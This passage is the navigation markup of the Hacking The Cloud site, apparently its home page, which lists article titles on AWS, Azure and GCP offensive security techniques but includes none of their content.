0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class="md-tabs__item md-tabs__item--active"> <a href=. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Hacking The Cloud </span> <span class="md-nav__icon md-icon"></span> </label> <a href=. class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Hacking The Cloud </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#contributing class=md-nav__link> <span class=md-ellipsis> Contributing </span> </a> </li> <li class=md-nav__item> <a href=#disclaimer class=md-nav__link> <span class=md-ellipsis> Disclaimer </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input 